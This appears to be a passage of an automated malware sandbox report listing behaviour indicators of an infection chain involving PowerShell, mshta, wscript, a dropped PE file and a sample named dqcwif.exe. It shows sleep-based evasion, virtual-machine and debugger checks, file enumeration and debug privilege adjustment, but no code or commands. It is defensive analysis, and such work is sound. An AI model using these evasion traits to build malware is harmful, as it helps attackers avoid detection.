Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Guard.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1592	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 801	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 988	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1082	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4978	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4788	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6299
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3831
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5551

Source: C:\Windows\System32\mshta.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ghepduy1325[1]

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

API coverage: 3.7 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828	Thread sleep count: 988 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828	Thread sleep count: 1082 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4876	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8204	Thread sleep time: -21213755684765971s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7140	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8260	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8504	Thread sleep count: 3831 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8536	Thread sleep time: -26747778906878833s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8508	Thread sleep count: 5551 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8488	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8524	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	19_2_00007FF6B5B9C7C0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00007FF6B5B9B7C0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	19_2_00007FF6B5BA72A8
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA71F4 FindFirstFileW,FindClose,	19_2_00007FF6B5BA71F4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00007FF6B5B9BC70
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BAA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	19_2_00007FF6B5BAA874
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BAA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	19_2_00007FF6B5BAA4F8
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA6428 FindFirstFileW,FindNextFileW,FindClose,	19_2_00007FF6B5BA6428
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BAA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	19_2_00007FF6B5BAA350
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B62F50 FindFirstFileExW,	19_2_00007FF6B5B62F50

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B41D80 GetVersionExW,GetCurrentProcess,IsWow64Process,GetSystemInfo,GetSystemInfo,FreeLibrary,

19_2_00007FF6B5B41D80

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000018.00000002.2606180897.0000020375E32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000020.00000002.2643246889.0000026E720B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BB0A00 BlockInput,

19_2_00007FF6B5BB0A00

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B237B0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

19_2_00007FF6B5B237B0

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B45BC0 GetLastError,IsDebuggerPresent,OutputDebugStringW,

19_2_00007FF6B5B45BC0

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BB7634 LoadLibraryA,GetProcAddress,

19_2_00007FF6B5BB7634

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5B8D6A0 GetLengthSid,CopySid,GetProcessHeap,HeapFree,

19_2_00007FF6B5B8D6A0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
